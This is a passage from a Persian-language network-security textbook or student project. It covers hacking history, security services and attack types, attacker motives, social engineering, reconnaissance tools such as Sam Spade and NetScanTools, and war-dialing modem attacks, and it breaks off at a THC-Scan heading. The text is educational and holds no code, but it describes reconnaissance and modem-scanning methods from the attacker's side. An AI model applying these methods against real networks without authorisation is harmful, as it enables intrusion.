PRO پزشک و مهندس و مانند ( مشاغل(...  
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  نگاهی گذرا به سرویس دهندگان وب) 10- 1

ــک اطلاعــاتی، قلــب و مغــز را تشــکیل داده    ــدگان بان ــار ســرویس دهن ــدگان وب در کن ســرویس دهن
امروزه قلـب اینترنـت در سـرویس دهنـده وب مـی زنـد و سـلول هـاي خاکسـتري حافظـه آن در           . اند

ایــن دو عنصــر حیــاتی، موجودیــت برنامــه هــاي کــاربردي . آمــده انــدبانــک هــاي اطلاعــاتی جمــع 
ــد  ــکیل داده ان ــد وب را تش ــد و مفی ــتی از    . قدرتمن ــد درك درس ــایت باب ــک وبس ــه ی ــوذ ب ــراي نف ب

  .تکنولوژي وساختار این دو سرویس  دهنده داشته باشیم

بنا به کمبود وقت و کثـرت مطالـب فقـط بـه ارائـه خلاصـه گـزارش یکـی از ایـن سـرویس هـا مـی             
فقـط بـه ایـن نـوع سـرویس دهنـده        Apacheبـه دلیـل اهمیـت و محبوبیـت سـرویس دهنـده       . پردازیم

ــیم ــی کن ــدهی   .بســنده م ــزارش، ســرویس دهن ــار و گ ــر آم ــا ب ــل Apacheبن ــون  1996از آوری ــا کن ت
  1.ین سرویس دهنده وب جهان بوده استپرکاربردترین و رایج تر

  :به سه عامل عمده زیر بستگی دارد Apacheمحبوبیت و رواج 

 پشتیبانی از بسترهاي سخت افزاري و نرم افزاري متناوب و گسترده )1

 ویژگی ها وقابلیت هاي متنوع )2

 قیمت )3

Apache   ــل ــی مث ــترهاي مختلف ــرروي بس ــه ب ــت ک ــده اي اس ــرویس دهن  , Windows , Solaeis: س

Linux , IRIX ,  Os/2 , Free BSD , VMS , AS/400 , Macintosh , Scounix , HPUX , 
Novell Netwar , ALX , Beos , Netbsd و در دســترس اســت و بــدین ترتیــب یــک   قابــل اجــرا

داراي ویژگـی هـاي گسـترده و بـی      Apacheمضـاف بـر ایـن، سـرویس دهنـده      . محصول فراگیر اسـت 
آخــرین . شـماري اسـت کــه بـه توســعه دهنـدگان وب امکــان بهبـود ســریع وب سـایت را مــی دهـد       

  .ویژگی و مهمترین آن قیمت عالی آن است که رایگان می باشد

ــزارش  ــال  Netcraftبراســاس گ ــوع  % 56، 2001درس ــا از ن ــاي وب دنی ــده ه  Apacheاز ســرویس دهن
  .می باشند
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 :1یري فصلنتیجه گ

در این فصل، آموختیم شبکه هـاي کـامپیوتري انـواع مختلفـی دارنـد، کـه یـک مهنـدس امنیـت شـبکه           
باید درکنار مسئول شبکه کامپیوتر، یک نهاد با کـارایی ایـن نـوع شـبکه هـا آشـنا باشـد و بتوانـد بـا آن          

تـردد افـراد در   از طرفـی، محـدود کـردن    .ها کار کند تا قادر باشد از شبکه خـود بـه دقـت دفـاع کنـد     
واحد شبکه، همچنین حفاظـت هـاي فیزیکـی و آمـوزش، توجیـه و مراقبـت از کارمنـدهاي شـرکت از         

 .مسئولیت هاي مهم مسئول امنیت شبکه است
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  2فصل 

  آشنایی با نفوذ
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  :مقدمه اي برنفوذ

در آن سال به دلیل مشکلی که براي شبکه . باز می گردد 1960تاریخچه استفاده از واژه هک و هکر به سال
کامپیوتري دانشگاه ماساچوست اتفاق افتاده بود، یکی از اساتید آن دانشگاه با ابداع راهی توانسته بود به 

  .شبکه داخلی کامپیوتر رخنه کند و اصلاحات لازم را انجام دهد

  نفوذتاریخچه ي ) 1- 2

کسی است کـه از سرکشـی کـردن بـه جزئیـات سیسـتم هـاي قابـل برنامـه ریـزي و نفـوذ و             1نفوذگر
رسوخ در آن لـذت مـی بـرد و مصـمم بـه شکسـت دادن توانـایی محاسـباتی ماشـین درمقابـل هـوش            

فـردي کـه بـا سـماجت و بـه گونـه اي لجوجانـه شـیفته برنامـه نویسـی           . وذکاوت بشري خویش است
 ـ   . است ابـداع واژه نفـوذگر بـه دهـه شصـت مـیلادي در       . دمه نمـی زنـد  نفـوذگر، بـدخواه نیسـت و ص

در آن دوران ایـن افـراد نـه تنهـا بـدنام و مـورد غضـب و نفـرت نبودنـد،          . باز می گـردد  MITدانشگاه
  .بلکه از آن ها به نیکی و احترام یاد می شد

هسـتند و  آن روز، اسـاتید، مـدیران یـا متخصصـان حرفـه اي امـروز، در سـطح جهـان          اکثر دانشجویان
ــت    ــش آنهاس ــلاش و کوش ــدار ت ــامپیوتر وام ــوژي ک ــد تکنول ــبش   . رش ــتاد جن ــه هش ــر ده در اواخ

. در شبکه به سوي فعالیـت هـاي ضـد امنیتـی، ضـد انسـانی و مالیخولیـایی گـرایش پیـداکرد          2نفوذگري
در آن زمـان وقتـی رســانه هـاي خبــري از واژه نفـوذگر یـاد مــی کردنـد، در ذهــن مردم؛تصـویر یــک        

  .وتري یا یک مخرب نابکار تجسم می یافتدزد کامپی

لـذا  . این موضوع آن هایی را که قبلا از لقب نفـوذگر بـه خـود مـی بالیدنـد، بـه شـدت ناخشـنود کـرد         
آن ها تلاش کردنـد تـا مجـدداً واژه نفـوذگر را در ذهـن مـردم مثبـت جلـوه دهنـد و در جبهـه مقابـل            

 .کــه واژه اخلالگــر نیــز معنــا یافــترا فــردي مخــرب جلــوه دهنــد و بــدین صــورت بــود  3اخلالگــر
اخلالگر موجـود بـی ارزش و بیمـاري اسـت کـه بـا فراگیـري برخـی از مهـارت هـاي نفـوذگري بـه             

ــاربري  ــدن حســاب ک ــد دزدی ــی ارزشــی همانن ــاي ب ــور 4کاره ــز عب ــت و  5و رم ــه مزاحم دیگــران، ب
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اهـداف غیـر   عملیات غیرقانونی وضد اخلاقـی مـی پـردازد و بـا شکسـتن حـریم امنیـت یـک سیسـتم          
  .شرافتمندانه خود را دنبال می کند

نخسـتین کـرم   » روبـرت مـوریس  «یـک دانشـجوي کارشناسـی دانشـگاه کورنـل بـه نـام        1988درسـال  
کامپیوتري را به جان کامپیوترها انداخت تا بـا آلـوده سـاختن کـامپیوتر هـا منجـر بـه خاموشـی آن هـا          

 1996بعدها گروه هـاي اخلالگـر بـراي آنکـه قـدرت خـود را بـه رخ جهانیـان بکشـند، درسـال           . شود
کـه خـود از امنیتـی تـرین مراکـز آمریکـا بـه شـمار مـی آینـد؛            CIA , DOJ , USAهـاي   به وبسـایت 

  .نفوذ و چهره آن ها را نا امن کرد

، تقریبـا هرسـال بـیش از یـک میلیـون حملـه؛ علیـه اطلاعـات مؤسسـات و سـازمان           2000پس از سـال 
ــی، خصوصــی ــاري، شــرکت هــاي خــدماتی و تجــارت الکترو هــاي دولت ــالی و اعتب نیکــی ، مراکــز م

این تعداد حملات فقط آن هـایی بـوده انـد کـه رسـماً اعـلام و گـزارش شـده انـد،          . گزارش شده است
بســیاري از کــاربران . درحـالی کــه بســیاري از اخــلال گــر هــا هرگــز کـار خــود را ثبــت نمــی کننــد  

خانگی نیز دغدغه نفوذگران را دارند کـه سـعی شـده در انتهـاي پـروژه توصـیه هـایی نیـز بـه کـابران           
  .انگی شودخ

بـه دلیـل   . لازم به ذکر است که گروه بندي نفوذگران توسط تکنولـوژي مـی توانـد کـار مشـکلی باشـد      
گســتردگی فــراوان تکنولــوژي شــبکه ســازي و محاســباتی، نفــوذگران اغلــب بــه روي یــک یــا چنــد  

بـه عنـوان نمونـه برخـی توجـه خـود را بـرروي        . بخش ویژه بـه صـورت تخصصـی عمـل مـی کننـد      
، وبعضـی  از آنهـا بـر    ... وUnix , Mac os , Windows: ویـژه متمرکـز مـی سـازند ماننـد      سیستم عامـل 

 .... وFirewalls , Email Server- Web server :برنامه هاي مجزاي کاربردي تسلط می یابند مانند

 Denial of Service , Web hacks:برخی دیگـر نیـز روي نـوع خاصـی از تهـاجم کـار مـی کننـد ماننـد         

, Dial – in penetration ،      بـه عنـوان یـک روش دسـتیابی      1البته افـراد دیگـر نیـز از مهندسـی اجتمـاعی
اخـلال گـر هـاي موجـود در شـبکه هـاي اجتمـاعی اکثـرا از         ( نـد؛  غیرمجاز به اطلاعات استفاده می کن

  ).همین شیوه جهت نفوذ به سیستم قربانی ها عمل می کنند

  

                                                             
1 Social Engineering 
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  سرویس هاي امنیتی در شبکه ها) 2- 2

  :به صورت عمده عبارتند از تهدیدهاي بالقوه براي امنیت شبکه هاي کامپیوتري

فاش شدن غیرمجاز اطلاعات، درنتیجه ي اسـتراق سـمع داده هـا یـا پیـام هـاي درحـال مبادلـه          )1
 .روي شبکه

 .قطع ارتباط و اختلال در شبکه به واسطه یک اقدام خرابکارانه )2

 پیغام ارسال شدهتغییر و دستکاري غیرمجاز اطلاعات با یک  )3

پیش از هرچیز لازم است تـا بـا مفـاهیم و اصـطلاحات زیـر بـه عنـوان سـیرویس هـاي امنیتـی شـبکه            
  :آشنا باشید

به مجموعه مکانیزم هایی که تضمین می کنند، داده ها و اطلاعات مهم  :1محرمانه ماندن اطلاعات )1
سرویس محرمانگی اطلاق می کاربران از دسترس افراد بیگانه وغیرمجاز دور نگاه داشته شود، 

این سرویس ها که عموماً با روش رمزنگاري تحقق میابند، دلایل متعددي براي یک سازمان . شود
 .یا حتی یک فرد عادي وجود دارد که بخواهد اطلاعات خود را محرمانه نگاه دارد

) صاحب(مبدأمجموعه مکانیزم هایی که این امکان را فراهم می کنند که بتوان : 2احراز هویت )2
قبل از آنکه محتواي . را بدون ذره اي تردید یا ابهام مشخص کرد 3واقعی یک پیام، سند یاتراکنش

یک پیغام یا اطلاعات اهمیت داشته باشد، باید مطمئن شوید که پیام حقیقتاً از شخصی که تصور 
 .می کنید رسیده است و کسی قصد تخریب و فریب و گمراه کردن شما را ندارد

، حذف و یا 5مجموعه مکانیزم هایی که از هرگونه تحریف، دستکاري، تکرار: 4مت داده هاسلا )3
آلوده سازي داده ها، پیشگیري می کنند یا حداقل باعث کشف چنین اقداماتی می شوند، سرویس 

به زبان دیگر یعنی دست نخوردگی و عدم . تضمین صحت اطلاعات یا سلامت داده ها می گویند
اطمینان از آنکه داده ها با اطلاعات مخرب مثل یک ویروس کامپیوتري آلوده نشده تغییر پیام و 

 .اند

                                                             
1 Confidentiality 
2 Authentication 
3 Transaction 
4 Integrity 
5 Replay 
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مکانیزم هایی که دسترسی به کوچکترین منابع اشتراکی شبکه را تحت کنترل در : 1کنترل دستی )4
 .آورده و هرمنبع را بر اساس سطوح مجوز کاربران و پروسه ها در اختیار آن ها قرار می دهد

مجموعه مکانیزم هایی که به پیام ها و تراکنش ها، پشتوانه حقوقی : 2انکار ساختن پیام هاغیرقابل  )5
می بخشد و اجازه نمی دهد که فرستنده به هرطریق ارسال پیام خود را انکار کند و یا گیرنده منکر 

 .دریافت آن شود

زحمت در اختیار آن  با توضیحات بالا، باید تمام امکانات شبکه بدون دردسر و: 3در دسترس بودن )6
هایی که مجاز به استفاده از شبکه هستند باشد، و درضمن هیچکس نتواند در دسترسی به شبکه 

 .اخلال ایجاد کند

حملات مختلفی . گانه فوق نقض شود، به سیستم حمله شده است6زمانی که یکی از سرویس هاي امنیتی 
  :داریم که در زیر به آن ها می پردازیم

هرگاه کسی بتواند سیستم یا سرویسی را در شبکه از کاربیندازد، حمله وقفه : 4وقفهحمله از نوع  )1
 .رخ داده است

بدین معنا که حمله کننده به نحوي توانسته است اطلاعات درحال : 5حمله از نوع استراق سمع )2
 .تبادل روي شبکه را گوش دهد و بهره برداري نماید

داده هاي درحال جریان بین مبدإ و مقصد توسط نفوذگر هرگاه : 6حمله از نوع دستکاري داده ها )3
 .به هر نحو دستکاري یا تحریف شود، حمله ي دستکاري رخ داده است

هرگاه یک شخص غیرمجاز، اقدام به تولید پیام هاي ساختگی کرده و ارسال : 7حمله از نوع جعل )4
اختگی به وقوع آن ها را به شخص مجاز دیگر نسبت دهد، حمله جعل و ارسال داده هاي س

 ).مانند ویروس هاي کامپیوتري یا تروجان ها و یاکرم ها(پیوسته است

به حمله اي که هنگام شروع با بروز اختلال در شبکه، علنی می شود و درکار ارسال یا دریافت داده ها 
ر شبکه اکثراً حمله فعال براي اخلال گرهایی است که د. مشکل ایجاد می کند، حمله فعال؛ گفته می شود

                                                             
1 Access Control 
2 Non - Repudiation 
3 Availability 
4 Interruption 
5 Interception / Evesdropping 
6 Modification 
7 Fabrication 
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به سیستم هاي خانگی حمله می کنند و دنبال تخریب و وقفه انداختن در سیستم ها می هاي اجتماعی 
  .حمله از نوع وقفه را میتوان نوعی حمله فعال دانست. باشند

لازم به ذکر است که این نوع حمله، ازخطرناك ترین . می باشد 1عکس حمله فعال، حمله غیر فعال
حملات موجود در نفوذگري می باشد که بیشتر براي بدست آوردن اطلاعات هاي مهم و جاسوسی از 
شبکه هاي مهم استفاده می شود اما بازهم گاهی اخلال گران در شبکه هاي اجتماعی از این شیوه براي 

هاي شخصی کرده که اکثرا با اهداف سوء استفاده هاي جنسی و یا اخاذي بدست آوردن عکس ها وفیلم 
  . و انتقام گیري هاي شخصی صورت میگیرد

حملات غیر فعال هیچ علامت آشکاري در شبکه از خود نشان نمی دهند، و ممکن است براي ساعت ها و 
به حمله از نوع استراق سمع اشاره  از نمونه این نوع حمله میتوان. هفته ها و یاحتی سالها مخفی باقی بماند

کرد؛ و یک اخلالگر، می تواند مدت هاي طولانی، به شنود داده ها مشغول و از آن به نفع خود بهره 
حملات غیرفعال . درحالی که هیچ ابزار تشخیصی قادر به کشف چنین حمله خاموشی نباشد. برداري کند

براي پیشگیري از چنین . ودیت هاي شبکه می شودبسیار خطرناك و موجوب آسیب بسیار زیادي به موج
  .حملاتی باید طرفین یک کانال ارتباطی امن ایجاد کنند

یک کانال امن ایجاد و داده ها به نحوي رمزگذاري شوند که  فرض کنید بین هردو موجودیت درشبکه،
رفین ارتباط را تهدید استراق سمع آن ها هیچ ارزشی براي افراد غیرمجاز نداشته باشد و هیچ جمله اي، ط

آیا شنود داده هایی که از لحاظ محتوایی هیچ ارزشی ندارند براي یک بیگانه، آشکار کننده ي هیچ . نکند
سه پل عبور کنند اما ناگهان به دستگاه خودرو قرار است از  1000اطلاعاتی نیست؟ براي مثال فرض کنید 

این صورت مهندسین راهداري مشکوك به ایجاد  طور چشم گیري پل یک و دو بسیار شلوغ می شود و در
  . می شوند و اقدام به اصلاح تخریب میکنند 3اتفاق غیرعادي در پل شماره

مسئول امنیت شبکه در بررسی ماهیانه ترافیک متوجه می شود . در اینترنت و شبکه نیز به این صورت است
عجیبی افزایش پیدا کرده است، و  صبح ترافیک شبکه به شکل 12الی 10که روزهاي شنبه بین ساعت 

درنتیجه پیگیري ها متوجه حضور اخلال گر و استراق سمع او می شود، براي این منظور توزیع ترافیک در 
طول زمان از طرف اخلال گر؛ باید به گونه اي تنظیم شود که هیچ شاخص آماري چشم گیر و مهمی از آن 

  .توسط مدیر امنیت شبکه قابل استخراج نباشد

                                                             
1 Passive 
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  انگیزه نفوذگران و حمله به شبکه ها) 3- 2

با آمدن شبکه . امروزه اینترنت از یک مقوله تکنولوژي فراتر رفته و به یک بحث اجتماعی تبدیل شده است
، میتوان گفت کاربران خانگی نیز خود را ... هاي اجتماعی مانند فیس بوك و تویتر و حتی یاهو مسنجر و

با توجه به نوپا بودن این شبکه هاي اجتماعی و تازه کار بودن . رده اندبه شبکه جهانی اینترنت متصل ک
کاربران خانگی نسبت به شبکه جهانی اینترنت، می توان گفت که عملاً هنوز نباید انتظار داشت که یک 

  .فرهنگ صحیح و درست بر آن ها حاکم باشد

اکثر این جماعت افرادي هستند با ضریب . نباید نفوذگران را با هر اندیشه و انگیزه اي دست کم گرفت
. هوشی بالا، قدرت تصمیم گیري و سرعت انتقال بالا، همچنین تحصیل کرده، کنجکاو، فعال و بی قرار

کدام یک از این خصوصیات را کامپیوتر دارد تا بتوان به آن اعتماد کرد؟ اما انگیزه نفوذگر را میتوان دلایل 
  :زیر دانست

 ناسالم، انتقام جویی و ضربه زدن به رقیبانگیزه هاي رقابتی  )1

 اهداف سیاسی )2

 اهداف تروریستی و کسب اخبار جهت اعمال خرابکارانه و موذیانه )3

 اهداف دولتی )4

کسب نامشروع ثروت از طریق جابه جا کردن پول به صورت سرقت رمز اینترنتی کارت هاي  )5
 اعتباري بانک ها و یا رخنه به شبکه هاي خزانه داري بانک ها

 قابت ناسالم درعرصه تجارت و اقتصادر )6

انتقام گیري هاي شخصی، اخاذي کردن، سوء استفاده هاي جنسی؛ که بیشتر در شبکه هاي  )7
 .اجتماعی صورت میگیرد

 تفریح یا اندازه گیري توانایی فردي یا کنجکاوي )8

 سرقت دانشی که براي بدست اوردن آن باید هزینه صرف کرد )9

10( ... 

هایی نیز  5کنید علاوه بر دشمنان و متجاوزان خارجی، دشمنان داخلی و ستونشما اگر یک جنگ را تصور 
شبکه هاي کامپیوتري نیز از این قاعده مستثنی . وجود دارند که از داخل قصد تخریب یک کشور را دارند

  :نیستند و براي اخلال گران داخلی شبکه انگیزه هاي مختلفی را می شود نام برد از جمله
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 کارمند ناراضی )1

 مشتریان ناراضی یا طماع با اهداف سودجویانه یا انتقام گیري )2

 پیمانکاران یا مشاورین شبکه با انگیزه اخاذي )3

 شرکت تجاري با انگیزه ي سودجویی  )4

ممکن است دشمنان داخلی و خارجی گاهی باهم متحد شوند و ضربات جبران ناپذیري را به یک شرکت 
مسئول پخش کردن تروجان، یا یک ویروس روي شبکه شود تا براي مثال کارمند ناراضی . وارد نمایند

اخلالگر خارجی بتواند با سرعت بیشتر و امنیت خاطر بیشتري به استراق سمع یا هرنوع حمله دیگر 
  .بپردازد

در انتهاي این فصل باید عرض کنم که براي آشنایی بیشتر با پیشینه برخی از حملات به وب سایت هاي 
  .مراجعه نمایید  http://attrition.orgتوانید به آدرسمشهور دنیا، می 

  japan.co.jp .نمونه اي از هزاران سایت هک شده می باشد 1-2شکل

  ریسک هاي مرتبط با افراد) 4- 2

دربیشترین برآوردها، خطاي انسانی؛ بی خبري وغفلت، موجب بروز عمده ترین تهدیدات امنیتی شبکه 
یکی از معمولی ترین روش هاي ورود افراد غیر مجاز به شبکه پرسیدن گذرواژه کاربران بوده . بوده است
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و به گونه اي عمل کند براي نمونه فرد اخلالگر می تواند خود را به عنوان تکنسین شبکه معرفی کند  .است
این راهبرد به خاطر عمومیتی که دارد . که براي رفع یک مشکل فرضی نیاز به داشتن گذرواژه کاربر دارد

به نام مهندسی اجتماعی معروف است، زیرا براي دسترسی به منعفت؛ شخص اخلالگر دست به دامان 
  .روابط اجتماعی می شود

  :یروي انسانی می توان به نمونه هاي زیر اشاره کرددر برخی از ریسک هاي مهم مرتبط با ن

 .استفاده از مهندسی اجتماعی توسط مهاجمین و اخلالگران براي بدست آوردن گذرواژه )1

ایجاد پیکربندي نادرست شناسه کاربري،  گروه ها و ارتباط آن ها با خدمتگذار فایل توسط مدیر  )2
 سیستم

 یتی واقع در پیکربندهاي سیستم عاملچشم پوشی کردن مدیران شبکه از درزهاي امن )3

 استفاده نادرست کاربران از فایل ها و دسترسی هایشان )4

رایگان در اختیار کاربران  Wi – Fiدر رستوران ها، ایستگاه هاي اتوبوس و مکان هایی که : نکته ي طلایی
انجام  Wi – Fiقرار میدهند، هیچ گاه کارهاي مهمی مانند، خرید اینترنتی یا انتقال وجه اینترنتی با آن 

  .ندهید؛ زیرا اخلالگران همیشه در کمین نشسته اند

  :2نتیجه گیري فصل 

در این میان . از رخنه چیستدر این فصل آموختیم چگونه یک نفوذگر میتواند رخنه کند و انگیزه نفوذگر 
افرادي چون کارمندان ناراضی نیز هستند که به کار اخلال گران سرعت بخشند و آن ها را به اهداف شوم 

لذا مسئول امنیت شبکه موظف است تا تمامی احتمالات نفوذ را محاسبه کرده، و با . خود راحت تر برسانند
  .ستم هاي کاربران این خطرات را به حداقل برساندرعایت اصول رمزنگاري و اصول حذف و نصب در سی
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  3فصل 

  راه هاي نفوذ به شبکه
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  :3مقدمه فصل

درفصل گذشته بیان کردیم که نفوذ به یک شبکه کامپیوتري، همانند جنگ هاي نظامی، در ابتدا نیاز به 
براي این کار . نیروهاي امنیتی آن داردشناسایی اولیه از تجهیزات دشمن و نحوه قرارگیري سربازان و 

  .برنامه ها و سایت هاي متفاوتی وجود دارد که ما به صورت خلاصه آن ها را بیان می کنیم

  :Sam Spadeنرم افزار ) 3-1

، ابزاري ساده براي شناسایی مقدماتی یک شبکه محسوب می  Sam Spadeنرم افزار مجتمع و یک پارچه 
این نرم افزار با یک پنجره گرافیکی بر روي . نوشته شده است Steve Atkins این ابزار رایگان توسط . شود

  Windows , 2000, NT , 9x:سیستم عامل هاي زیر قابل نصب است

  
 Sam Spadeتصویري از نرم افزار 1- 3شکل

  :ي برجسته این نرم افزار میتوان قابلیت هاي زیر را نام برداز قابلیت ها

 Whois :ابزار Sam Spade براي شناسایی یک آدرس حوزه، به طور مستقیم با سرویس
این ابزار یک سرویس . ارتباط برقرار کرده و نتیجه را در اختیار کاربر قرار می دهد Whoisدهنده
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را به صورت پیش فرض میشناسد ولی کاربر قادر است انتخاب کند که از کدام  Whoisدهنده
کاملاً مناسب است و براي  Sam Spadeتنظیمات . در اینترنت استفاده شود Whoisسرویس دهنده 

هستند، هیچ تغییر خاصی در سرویس دهنده  com , .net , .org.جست و جوي نام هایی با پسوند
  .یستپیش فرض آن ها نیاز ن

  
  .را نشان می دهد Whois.internice.netرا با سرور googleگرفتن از سایتWhoisعمل  2-3شکل

IP Block Whois :Sam Spade  قادر است تعیین کند که مجموعه اي از آدرسهايIP) در محدوده
به طور پیش فرض از سرویس دهنده  Sam Spade .متعلق به کدام سازمان یا موسسه می باشد) مشخص
Whois  و بانک اطلاعاتیARIN استفاده می کند.  

 NS Lookup : این مشخصه به کاربر اجازه می دهد که مستقیما با سرویس دهندهDNS  فعل و
 .درخصوص یک نام حوزه، پرس و جو نماید DNSانفعال داشته باشد و از 

 DNS Zone Transfer : این مشخصه قادر می کندتا بتواند تمام رکوردهاي موجود درون یکDNS 
  .را درخصوص یک نام حوزه، منتقل نماید

 Ping : این ابزار یک بستهICMP Echo Request  به سمت یک ماشین در شبکه ارسال می نماید و
ماشین در صورت برگشت پاسخ اعلام می کند که آن . می ماند ICMP Echo Reply منتظر پاسخ

  .در شبکه موجود  و فعال است
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 Dig : این مشخصه براي دریافت اطلاعات تفصیلی ازDNS  پیرامون یک سیستم خاص در شبکه
  .کاربرد دارد

 Traceroute : این مشخصه فهرستی از مسیریاب هاي موجود بین یک ماشین مبدإ و ماشین مقصد را
  . پیداکرده و در خروجی نشان می دهد

 Finger : از طریق این مشخصه می توان فهرست کاربران حاضر وفعال در یک سیستم را بدست
  .روي آن ماشین اجرا شده باشد Fingerالبته به شرطی که سرویس دهنده . آورد

 SMTP VRFY : از طریق این مشخصه می توان بررسی کرد که آیا یک آدرسe-mail  روي یک
سرویس دهنده پست الکترونیکی معتبر و تعریف شده هست یا خیر؟ این قابلیت بر اساس پروتکل 

SMTP کار می کند.  
 Web Browser : ابزارSam Spade  یک مرورگر وب درونی به همراه دارد که می تواند صفحات

به کاربران  HTTP، به همراه سرآیند ارسالی از پروتکل HTMLوب را به صورت کدهاي خام 
  .از این مشخصه می توان براي حمله به برنامه هاي کاربردي تحت وب استفاده کرد. نشان بدهد

3-2 ( Net Scan Tools  

این نرم افزار که مشابه نرم . می باشد Net Scan Toolsیکی دیگر از نرم افزارهاي کشف، نرم افزار
 , Ping , SNMP , Portمناسب را فراهم می کند و امکان بررسی  GUIاست که  Ws-Ping Pro Packافزار

DNS  اما برخی از امکانات این نرم  .وسایر اطلاعات لازم جهت نفوذ را در اختیار نفوذگر قرار می دهد
  :افزار به شرح زیر است

 Name Server Look Up : از طریق جست و جو هايDNS  عملکرد بسیاري را ارائه می دهد که ،
  .، اطلاعات سرویس دهنده پستی، انتقال هاي منطقه اي و غیره است DNSدر برگیرنده اطلاعات 

 Finger : به منظور . اطلاعاتی را براي کاربرانی فراهم می کند، که در سرویس دهنده موثر است
 .میزبان هدف جریان داشته باشدباید در  Finger، سرویس  Fingerکسب اطلاعات از قسمت 

Finger مورد استفاده قرار نمی گیرد اما گاهی اوقات مدیر سیستم فراموش می کند که آن را غیر
 تلاش نمی کنیم تا زمانی که از جریان داشتن سرویسFinger فعال کند، بنابراین براي میزبان

Fingerدر میزبان باز  79پورت اگر در طی اسکن هاي پورت خود، مطلع شویم که.مطلع شویم
  .اطمینان حاصل کنیمFinger است، میتوانیم نسبتا از راه اندازي
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  حمله از طریق مودم) 3-3

  :پیش از معرفی حمله از طریق مودم شبکه، دو اصطلاح مهم در دنیاي نفوذگران را به اطلاع شما میرسانم

War Dialer :تلفن براي یافتن مودم هاي متصل  جست و جو دربین مجموعه بسیار عظیمی از شماره هاي
به حساب می آید و هنوز به عنوان یک فعالیت تهدید کننده، War Dialer وفعال درشبکه یا ماشین هدف

  .می باشندWar Dialer مسئولین شبکه در جست و جوي علامت نمونه هاي احتمالی

Demon Dialer : براي یافتن کلمه . شده استحمله علیه یک شماره تلفن، که اتصال آن به مودم محرز
  .عبور و راهی جهت نفوذ به ماشینی که به آن مودم متصل است

  :حمله از طریق مودم هاي شبکه)1- 3-3

مودم از رایج ترین ابزارهاي سخت افزاري مورد استفاده در شبکه ها است که به کاربران امکان می دهد تا 
نفوذگر در اولین مرحله پویش و جست و . ماشین بنماینداز طریق خطوط تلفن اقدام به مبادله داده بین دو 

این ابزار ساده و مفید گاهی نقش یک خائن را . جوي رخنه هاي نفوذ، به سراغ مودم هاي شبکه می رود
  .براي شبکه ایفا می کند و نفوذگر را از یک در پنهان به درون شبکه هدایت و راهنمایی می کند

تیار داشتن فهرستی از شماره هاي تلفن که از مرحله شناسایی مقدماتی، در این مرحله نفوذگر با در اخ
پویش مودم ها با هدف . بدست آمده است، براي یافتن مودم هاي آسیب پذیر شروع به پویش آن ها میکند

  .یافتن یک راه نفوذ طبق مکانیزم زیر انجام می شود

 هد متعلق به شبکه هدف حمله نفوذگر مجموعه اي از شماره هاي تلفن را که احتمال می د
او مجبور است این شماره ها را درون یک فایل ذخیره کند، که اندکی . مشخص می نمایداست،

 .1وقت گیر است؛ یا به سادگی یک محدوده از شماره ها را تعیین کند

  سپس براي پویش این خطوط تلفن، از یک ابزار خودکار استفاده می کند، تا در روالی پی در پی
متعلق به مودم، شماره  2و به محض تشخیص یک سیگنال حامل این شماره ها تماس برقرار شود با

این روال ممکن است چند ساعت وقت بگیرد ولی براي یک . تلفن مربوطه در جایی ذخیره گردد
 .انجام این مرحله قطعاً نیازمند به ابزار خودکار است. نفوذگر حرفه اي ارزش آن را دارد

                                                             
.که معادل هزارشماره تلفن است 987699تا شماره 987600براي مثال از شماره هاي  1  
2 Carrier 
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یک مودم که با آن تماس برقرار  :افرادي که با مودم آشنا هستند، این مرحله محرز شده است کهبراي تمام 
می شود، به یک سرویس دهنده نیاز دارد تا آن سرویس دهنده ضمن دستور وصل ارتباط، هویت کاربر راه 

کامپیوتر اگر چه ممکن است شما روي . دور را تشخیص داده و پس از احراز هویت به او سرویس بدهد
خانگی خود مودم داشته باشید، ولی اگر کسی از طریق مودم باشماره تلفن شما تماس بگیرد، ارتباطش 
برقرار نخواهد شد، زیرا شما سرویس دهنده اي که ارتباط برقرار و به او سرویس بدهد را روي کامپیوتر 

  .خود نصب نکرده اید

  :ز نرم افزارهاي مشهوري مانندا) از راه دور(معمولاً براي سرویس دهی با مودم

 Symantec’s pc Anywhere 
 Laplink 
 ConrolIT 

استفاده می شود که هرکدام از آن ها درصورت پیکر بندي نادرست، نقش یک خائن ستون پنجم را روي 
این ابزارهاي نرم افزاري که به کاربران از راه دور اجازه می دهد، تا با یک ماشین  .سیستم ایفا می کنند

ارتباط برقرار کرده، و همانند یک کاربرمعمولی در محل از آن سرویس بگیرند، به سیستم فایلی آن ماشین 
  .استفاده کنند، یا برنامه اي را اجرا نمایند 1سرکشی کنند، ازمنابع اشتراکی آن ماشین

رخی از این سرویس دهنده ها، گاهی به شدت خطرناك هستند، زیرا آن ها به طور پیش فرض نیاز به هیچ ب
نرم افزار . کلمه عبوري ندارند و به محض برقراري ارتباط، سرویس دهی به طرف مقابل آغاز می شود

PcAnywhere این حالت در . همین گونه است و کافی است تا بدون دقت روي ماشینی نصب شده باشد
  .هرکسی از طریق مودم قادر است آن ماشین را تصاحب کرده و هرکاري را انجام بدهد

گزارشی وجود دارد که در آزمایش نفوذپذیري یک شبکه صدها هزاردلاري، که از ابزارهاي : یک نکته مهم
ت رخنه نفوذي و سرویس دهنده امن استفاده شده بود، هیچ وق IDSپیشرفته اي مانند دیواره آتش، سیستم 

یک : درواقع میتوان گفت. پیدانشد مگر یک شماره تلفن آزاد و متصل به مودم یک ماشین در شبکه داخلی
  .خط آزاد و متصل به مودم در شبکه داخلی، تاثیر تمام ابزارهاي امنیتی پیشرفته را ازبین خواهد برد

وجود دارد که به صورت خلاصه  روش هاي زیادي براي بدست آوردن شماره تلفن هاي لازم جهت نفوذ
  :و تیتوار برخی از آن ها را معرفی می کنیم

                                                             
 مانند اسکنر یا چاپگر 1
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 دفترچه راهنماي تلفن 

 سرویسWhois در اینترنت 

 روش هاي روان شناختی و مهندسی اجتماعی 

. تاکنون ابزارهاي بسیار زیادي به منظور حمله به مودمها و جست و جوي راه هاي نفوذ معرفی شده است
مشهور .ابزارها به دهه هشتاد بر می گردد و لیکن قوي ترین آن ها در نیمه دوم دهه نود ارائه شدسابقه این 

 :ترین این ابزارها به ترتیب سال معرفی عبارتند از

 Deluxe Fone-Code Hacker, 1985 
 Dialing Demon Version1.05, by Tracy McKibben 1988 
 PBX Scanner Version5.0, by Great White 1989 
 Super Dialer1.03, by Evan Anderson 1990 
 Doo Tools Version1.10, Phantom Photon 1991 
 Z-Hacker 3.21, by Black Beard 1991 
 TonLoc 1.10, by Minor Threat & Mucho Maas 1994 
 A-DIAL1, by VeXaTiOn 1995 
 X-Dialer, by Icikl 1996 

  THC-Scan Version 2.0معرفی نرم افزار ) 2- 3-3

